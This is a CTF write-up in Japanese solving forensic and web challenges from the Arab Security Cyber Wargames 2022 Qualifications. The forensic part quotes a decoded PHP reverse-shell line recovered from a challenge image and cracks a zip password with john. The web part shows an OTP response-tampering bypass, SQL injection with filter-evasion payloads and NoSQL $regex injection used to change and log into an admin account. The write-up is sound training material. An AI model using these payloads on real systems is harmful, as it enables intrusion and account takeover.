- [Forensic] Persistent Ghost
- [forensic] Walk Down Memory Lane (2)
- [forensic] Warmup 1
- [forensic] Warmup 2
- [forensic] Weird FS
- [web] konan
- [web] Drunken Developer
- [web] Evil Volunteer
- [web] Kenzy
- [web] Doctor-X
CTFtime.org / Arab Security Cyber Wargames 2022 Qualifications
[Forensic] Persistent Ghost
Windowsで永続化と言えばASEP(:AutoStart Extensibility Points)を悪用したものなので、関連キーワードで検索していく。
RunOnceで検索すると、
Key Name: HKEY_USERS\S-1-5-21-901556830-2814386773-1323051072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Class Name: <NO CLASS> Last Write Time: 7/24/2022 - 9:10 PM Value 0 Name: OneDrive Type: REG_SZ Data: "C:\Users\CAIOS\AppData\Local\Microsoft\OneDrive\OneDrive.exe" /background Value 1 Name: Part-II Type: REG_SZ Data: yZWF0ZUV2ZW50KE5vbmUsMCwwLE5vbmUpCiAgICAgICAgc29ja2V0LnNldGRlZmF1bHR0aW1lb3V0KCIxMzM3X0hhY2tlcnpfIikKCiAgICBkZWYgU3ZjU3RvcChzZWxmKToKICAgICAgICBzZWxmLlJlcG9ydFNlcnZpY2VTdGF0dXMod2luMzJzZXJ2aWNlLlNFUlZJQ0VfU1RPUF9QRU5ESU5HKQogICAgICAgIHdpbjMyZXZlbnQuU2V0RXZlbnQoc2VsZi5oV2FpdFN0b3ApCgogICAgZGVmIFN2Y0RvUnVuKHNlbGYpOgogICAgICAgIHNlcnZpY2VtYW5hZ2VyLkxvZ01zZyhzZXJ2aWNlbWFuYWdlci5FVkVOVExPR19JTkZPUk1BVElPTl9UWVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlbWFuYWdlci Key Name: HKEY_USERS\S-1-5-21-901556830-2814386773-1323051072-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce Class Name: <NO CLASS> Last Write Time: 7/24/2022 - 10:10 PM
こんな感じのものが見つかる。
最初はスルーしたが、Part-II
という意味深なものがあるので、Part-I
で検索するとIからIIIまであった。
全部持ってきて結合すると、以下のようにいかにもbase64
aW1wb3J0IHdpbjMyc2VydmljZXV0aWwKaW1wb3J0IHdpbjMyc2VydmljZQppbXBvcnQgd2luMzJldmVudAppbXBvcnQgc2VydmljZW1hbmFnZXIKaW1wb3J0IHNvY2tldAoKCmNsYXNzIEFwcFNlcnZlclN2YyAod2luMzJzZXJ2aWNldXRpbC5TZXJ2aWNlRnJhbWV3b3JrKToKICAgIF9zdmNfbmFtZV8gPSAiQVNDV0d7IgogICAgX3N2Y19kaXNwbGF5X25hbWVfID0gIlAzcnMxc3RlbmMzXzFzIgoKICAgIGRlZiBfX2luaXRfXyhzZWxmLGFyZ3MpOgogICAgICAgIHdpbjMyc2VydmljZXV0aWwuU2VydmljZUZyYW1ld29yay5fX2luaXRfXyhzZWxmLGFyZ3MpCiAgICAgICAgc2VsZi5oV2FpdFN0b3AgPSB3aW4zMmV2ZW50LkNyZWF0ZUV2ZW50KE5vbmUsMCwwLE5vbmUpCiAgICAgICAgc29ja2V0LnNldGRlZmF1bHR0aW1lb3V0KCIxMzM3X0hhY2tlcnpfIikKCiAgICBkZWYgU3ZjU3RvcChzZWxmKToKICAgICAgICBzZWxmLlJlcG9ydFNlcnZpY2VTdGF0dXMod2luMzJzZXJ2aWNlLlNFUlZJQ0VfU1RPUF9QRU5ESU5HKQogICAgICAgIHdpbjMyZXZlbnQuU2V0RXZlbnQoc2VsZi5oV2FpdFN0b3ApCgogICAgZGVmIFN2Y0RvUnVuKHNlbGYpOgogICAgICAgIHNlcnZpY2VtYW5hZ2VyLkxvZ01zZyhzZXJ2aWNlbWFuYWdlci5FVkVOVExPR19JTkZPUk1BVElPTl9UWVBFLAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBzZXJ2aWNlbWFuYWdlci5QWVNfU0VSVklDRV9TVEFSVEVELAogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoc2VsZi5fc3ZjX25hbWVfLCcnKSkKICAgICAgICBzZWxmLm1haW4oKQoKICAgIGRlZiBtYWluKHNlbGYpOgogICAgICAgIHBhc3MKCmlmIF9fbmFtZV9fID09ICdfX21haW5fXyc6CiAgICB3aW4zMnNlcnZpY2V1dGlsLkhhbmRsZUNvbW1hbmRMaW5lKEFwcFNlcnZlclN2YykKICAgIHByaW50KCJzazFsbHp9Iik=
デコードすると
import win32serviceutil import win32service import win32event import servicemanager import socket class AppServerSvc (win32serviceutil.ServiceFramework): _svc_name_ = "ASCWG{" _svc_display_name_ = "P3rs1stenc3_1s" def __init__(self,args): win32serviceutil.ServiceFramework.__init__(self,args) self.hWaitStop = win32event.CreateEvent(None,0,0,None) socket.setdefaulttimeout("1337_Hackerz_") def SvcStop(self): self.ReportServiceStatus(win32service.SERVICE_STOP_PENDING) win32event.SetEvent(self.hWaitStop) def SvcDoRun(self): servicemanager.LogMsg(servicemanager.EVENTLOG_INFORMATION_TYPE, servicemanager.PYS_SERVICE_STARTED, (self._svc_name_,'')) self.main() def main(self): pass if __name__ == '__main__': win32serviceutil.HandleCommandLine(AppServerSvc) print("sk1llz}")
もうほぼほぼ答えですね、、、
適当につなげてフラグを作る。
ASCWG{P3rs1stenc3_1s1337_Hackerz_sk1llz}
[forensic] Walk Down Memory Lane (2)
ダンプファイルなので、WinDbgを開いて…と思ったが、strings Microsoft.dmp | grep ASCWG
としたらフラグっぽいのが出てきて、提出したら正解だった…
ASCWG{W1ndbG!$Sup3R_C0o1}
修正版も適当にgrepしたら解けました…
ずるをしました。(懺悔)
前問の出力を見ながら適当にgrepするとそれっぽい文字列が出てくる。
strings Microsoft.dmp | grep "\id="
でフラグっぽいのが出てきたから、提出したら答え。
[forensic] Warmup 1
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\NetworkList\Nla\Wireless] @="192.168.1.134"
これがそれっぽい。sha1sumでハッシュを作り、フォーマットを合わせれば正解だった。
$ echo '192.168.1.134' | sha1sum 7b4be24b7e1f4ef01ebb62fce8fe3470857edaf7 -
ASCWG{7b4be24b7e1f4ef01ebb62fce8fe3470857edaf7}
[forensic] Warmup 2
strings Challenge.jpg -n 10
すると、何やらコード片が見つかる。
%20%24sock%3Dfsockopen%28%22192%2E168%2E1%2E105%22%2C1234%29%3Bexec%28%22%2Fbin%2Fsh%20%2Di%20%3C%263%20%3E%263%202%3E%263%22%29%3B%27
URLデコードすると
$sock=fsockopen("192.168.1.105",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
IPアドレスが得られたので、sha1sumして形式を合わせて提出。
─$ echo '192.168.1.105' | sha1sum cc0e30c2dc233fc58591c987c4eaf751ff25132b -
ASCWG{cc0e30c2dc233fc58591c987c4eaf751ff25132b}
[forensic] Weird FS
FTK Imagerでとりあえず開く。
探索すると、Partition 1のvolume_0/root/Flag.zipというのがある。
解凍しようとするとパスワードを聞かれるのでjohnとrockyouでクラックを試す。
$ zip2john Flag.zip > h ver 1.0 efh 5455 efh 7875 Flag.zip/Flag.txt PKZIP Encr: 2b chk, TS_chk, cmplen=35, decmplen=23, crc=A0A972CC ts=904C cs=904c type=0 $ john --wordlist=/usr/share/wordlists/rockyou.txt h ... juelma (Flag.zip/Flag.txt) ...
パスワードはjuelmaのようなので解凍するとフラグが得られる。
ASCWG{M4C_4N6_1$_Co0l}
[web] konan
admin
と打つと次に進む。
OTPを要求されるが、適当に打ってもダメ。
OTPを送るときにPOST /otp/verify
を送信するが、その応答のerrorsをinterceptしてfalseに変えてやるとOTP検証をbypassできる。
HackerOneか、BugBountyのWriteupでこういうbypass方法見たことあるな。
ASCWG{@$CASQWsd#w8_3232_xasw_xas@1da_easy}
以下復習
[web] Drunken Developer
ログインする必要がある。
ソースを見ると<!-- Temp mail in development time wars_admin2@vistaemail.com -->
とあるのでアドレスはわかった。
このvistaemail.comというのは捨てアドサービスであり、検索すれば受信フォルダがみられる。
なので、あとはパスワード変更をこの受信フォルダを使って行ってログインする。
[web] Evil Volunteer
Arab Security Cyber WarGames - Championship 2022 | Mr-R19HT
あーなるほど、画像ファイルをそのまま出力することができるので、コメントにphpコードを埋め込めばRCE可能。
[web] Kenzy
ソースコードに<!-- Username =====> admin -->
とあるので、ユーザー名はadmin。
captchaはレスポンスに答えが載っているのでそれを渡すだけでbypass可能。
あとはパスワードに' or ''='
を入れるとSQL injectionができたので、captchaをbypassしながらBlind SQL Injectionするとフラグが得られる…はず
はずだが、何かに阻まれて刺さらない…
フィルタあったのね。ソースコードを下さい…
空白を/**/にして、orはフィルタされるのでoorrとしてbypassする。
あとは、頑張る。
[web] Doctor-X
適当にエラーを出すと、nosqlという文字が見える。
SyntaxError: Unexpected string in JSON at position 33<br> at JSON.parse (<anonymous>)<br> at parse (/home/amr.hamza/Nosql/challenge1/node_modules/body-parser/lib/types/json.js:89:19)<br> at /home/amr.hamza/Nosql/challenge1/node_modules/body-parser/lib/read.js:128:18<br> at AsyncResource.runInAsyncScope (node:async_hooks:202:9)<br> at invokeCallback (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:231:16)<br> at done (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:220:7)<br> at IncomingMessage.onEnd (/home/amr.hamza/Nosql/challenge1/node_modules/raw-body/index.js:280:7)<br> at IncomingMessage.emit (node:events:539:35)<br> at endReadableNT (node:internal/streams/readable:1345:12)<br> at processTicksAndRejections (node:internal/process/task_queues:83:21)
POST /login
で色々やると
evilman1:evilman1というアカウントを作っておくと
{"name":{"$regex":".*"},"password":"evilman1"}
でログイン可能なことに気が付く
同様の手口で色々やっていくと
POST /updatepassword
で{"id":1,"password":{"$regex":".*"},"newpassword":"kpwiMh88kYPVWX2"}
のようにやると特定のidのパスワードを変更できる。
あとは、そのパスワードを使って、POST /login
で{"name":{"$regex":".*"},"password":"kpwiMh88kYPVWX2"}
みたいにすると特定のidにログイン可能。
id=1のユーザーにログインしてPOST /test
してみる
{"_id":"62ed0c4b003ed8a54d5da449","name":"Admin_Cyber_War_Games","id":1,"desc":"Try_Harder","passwords":[{"password":"V3ry_H@rd_P@$$word_2022","_id":"62ed0c4b003ed8a54d5da44a"},{"password":"evilman3'","_id":"62ed4313f1a15a49331a1a58"},{"password":"kpwiMh88kYPVWX","_id":"62ed4322f1a15a49331a1a5b"},{"password":"kpwiMh88kYPVWX","_id":"62ed4347f1a15a49331a1a60"},{"password":"kpwiMh88kYPVWX","_id":"62ed4354f1a15a49331a1a65"},{"password":"kpwiMh88kYPVWX","_id":"62ed435af1a15a49331a1a6b"},{"password":"kpwiMh88kYPVWX2","_id":"62ed4371f1a15a49331a1a6e"}],"tokens":[{"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwibmFtZSI6IkFkbWluX0N5YmVyX1dhcl9HYW1lcyIsImlhdCI6MTY1OTcxNjQ2OCwiZXhwIjoxNjU5ODAyODY4fQ.lj3Dkm3fc5DE65d0d9lNQvLfFwBnpftqllSFZhuXkB8","_id":"62ed4374f1a15a49331a1a71"}],"__v":7}
んあー、まだ何かあるのか…
なにがあるの?
ASCWGs Qualifications 2022 CTF ウェブ チャレンジ ライトアップ | ムハンマド・アデル
あ、これでログインすると別のエンドポイントが出てくるのか。
そっちを同じ手口で探索していくとフラグが得られる。